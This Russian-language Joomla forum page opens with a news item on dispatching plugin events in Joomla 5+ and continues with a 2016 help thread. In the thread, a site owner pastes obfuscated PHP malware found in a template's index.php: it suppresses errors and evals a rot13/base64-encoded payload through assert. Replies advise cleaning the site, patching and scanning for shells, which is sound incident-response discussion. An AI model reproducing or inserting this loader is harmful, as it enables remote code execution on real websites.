Новости Joomla

Как триггерить события для плагинов на манер Joomla 5+?В Joomla 6 должны удалить метод...

Как триггерить события для плагинов на манер Joomla 5+?В Joomla 6 должны удалить метод...

👩‍💻 Как триггерить события для плагинов на манер Joomla 5+?В Joomla 6 должны удалить метод triggerEvent(), с помощью которого раньше вызывались события для плагинов. Теперь чтобы в своём коде вызвать событие для плагина и получить от него результаты нужно:- создать объект класса события- передать в него параметры

use Joomla\CMS\Event\AbstractEvent;use Joomla\CMS\Factory;use Joomla\CMS\Plugin\PluginHelper;// Грузим плагины нужных группPluginHelper::importPlugin('system');// Создаём объект события$event = AbstractEvent::create('onAfterInitUniverse', [    'subject' => $this,    'data'    => $data, // какие-то данные    'article' => $article, // ещё материал вдовесок    'product' => $product, // и товаров подвезли]);// Триггерим событиеFactory::getApplication()->getDispatcher()->dispatch(    $event->getName(), // Тут можно строку передать 'onAfterInitUniverse'    $event);// Получаем результаты// В случае с AbstractEvent это может быть не 'result',// а что-то ещё - куда сами отдадите данные.// 2-й аргумент - значение по умолчанию, // если не получены результаты$results = $event->getArgument('result', []);
Плюсы такого подхода - вам не нужно запоминать порядок аргументов и проверять их наличие. Если вы написали свой класс события, то в плагине можно получать аргументы с помощью методов $event->getArticle(), $event->getData(), $event->getProduct() и подобными - реализуете сами под свои нужды. Если такой класс события написали, то создаёте экземпляр своего класса события и укажите его явно в аргументе eventClass
use Joomla\Component\MyComponent\Administrator\Event\MyCoolEvent;$event = MyCoolEvent::create('onAfterInitUniverse', [    'subject'    => $this,    'eventClass' => MyCoolEvent::class, // ваш класс события    'data'       => $data, // какие-то данные    'article'    => $article, // ещё материал вдовесок    'product'    => $product, // и товаров подвезли]);
Ожидаемо, что класс вашего события будет расширять AbsractEvent или другие классы событий Joomla.🙁 Есть неприятный нюанс - нельзя просто так вызывать событие и ничего не передать в аргументы. Аргумент subject обязательный. Но если вы всё-таки не хотите туда ничего передавать - передайте туда пустой stdClass или объект Joomla\registry\Registry.
@joomlafeed#joomla #php #webdev

0 Пользователей и 1 Гость просматривают эту тему.
  • 4 Ответов
  • 4801 Просмотров
*

xander kej

  • Захожу иногда
  • 233
  • 3 / 0
  • Keep working
502 Bad Gateway nginx/1.10.0 (Ubuntu)
« : 09.10.2016, 12:50:22 »
Добрый день
На трёх сайтах появились ошибки - 502 Bad Gateway nginx/1.10.0 (Ubuntu) - в тегах center
Например тут -
Спойлер
[свернуть]
Версия Joomla - 1.5.25.
Обновление на 28 версию руками - даёт вообще дохлый сайт с 500 ошибкой
Похоже на инъекцию, в index.php файле тема - появился вот такой код:
Код
<?php 
//###=CACHE START=###
@error_reporting(E_ALL);
@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("display_errors", 0);
@error_reporting(0);
$wa = ASSERT_WARNING;
@assert_options(ASSERT_ACTIVE, 1);
@assert_options($wa, 0);
@assert_options(ASSERT_QUIET_EVAL, 1);

$strings = "as"; $strings .= "se";  $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r";  $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode");
$light =  $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFxtrlOyL2uiVPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftsFOyoUAyVUfXWUIloPN9VPWbqUEjBv8iMz9lq2SlMP1cozEyrP5lqF9aMKDhpTujC2yjCFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWFEH1CIRIsDHERHvWqXF4vWzD9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyASHyMSHy9BDH1SVy0hWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0cYvVzqG0vYaIloTIhL29xMFtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cYvVznG0kWzt9Vv5gMQHbVwV4MGWvBQWvBQt5Lwp5ZQZ5MQywAJRjMwyvBTMvBQR0ZGRvXGfXnJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGgwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsD09BGxIQISEWGHICIIDfVQHcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfXL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvucp3AyqPtxK1OCH1EoVaNvKFxtWvLtoJD1XT1xAFtxK1OCH1EoVaNvKFxcVQ09VPV1MzV3ZQAyAwNmZGp2MGMxAQxkAwL5LJR5BGV5ZmL2MPVcVUftDTI2LJjbp3ElnKOmoTSmnTImXPEsHR9GISfvLlWqXFx7VU0XMJAbolNxnJW2Bjc9VU0="));'); $strings($light);
//###=CACHE END=###
?>

Но его удаление не даёт никакого результата

Помогите разобраться
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Re: 502 Bad Gateway nginx/1.10.0 (Ubuntu)
« Ответ #1 : 09.10.2016, 13:06:10 »
Чистить сайт нужно. Ну а поскольку Версия Joomla - 1.5.25., то и патч от 14.12.2015 года не установлен.
Обновиться, вычистить, и установить патч .
*

xander kej

  • Захожу иногда
  • 233
  • 3 / 0
  • Keep working
Re: 502 Bad Gateway nginx/1.10.0 (Ubuntu)
« Ответ #2 : 09.10.2016, 13:31:36 »
Кароче почистил руками, обновил файлы, патч, вроде помогло  *DRINK*
« Последнее редактирование: 09.10.2016, 15:30:16 от xander kej »
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: 502 Bad Gateway nginx/1.10.0 (Ubuntu)
« Ответ #3 : 09.10.2016, 19:07:34 »
Кароче почистил руками, обновил файлы, патч, вроде помогло  
Скоро опять помрет. draff же сказал - чистить и обновлять, ставить патчи... Вы удалили вредонос (даже не стал расшифровывать, что там у вас в последних трех строчках), но как он попал к вам, этот код? Значит где то сидит шелл, бекдор и т.д. Дверь осталась открытой. Следовательно, новый взлом долго себя ждать не заставит.
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

wishlight

  • Гуру
  • 5059
  • 315 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: 502 Bad Gateway nginx/1.10.0 (Ubuntu)
« Ответ #4 : 09.10.2016, 19:22:59 »
Айболитом еще шеллы поищите
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться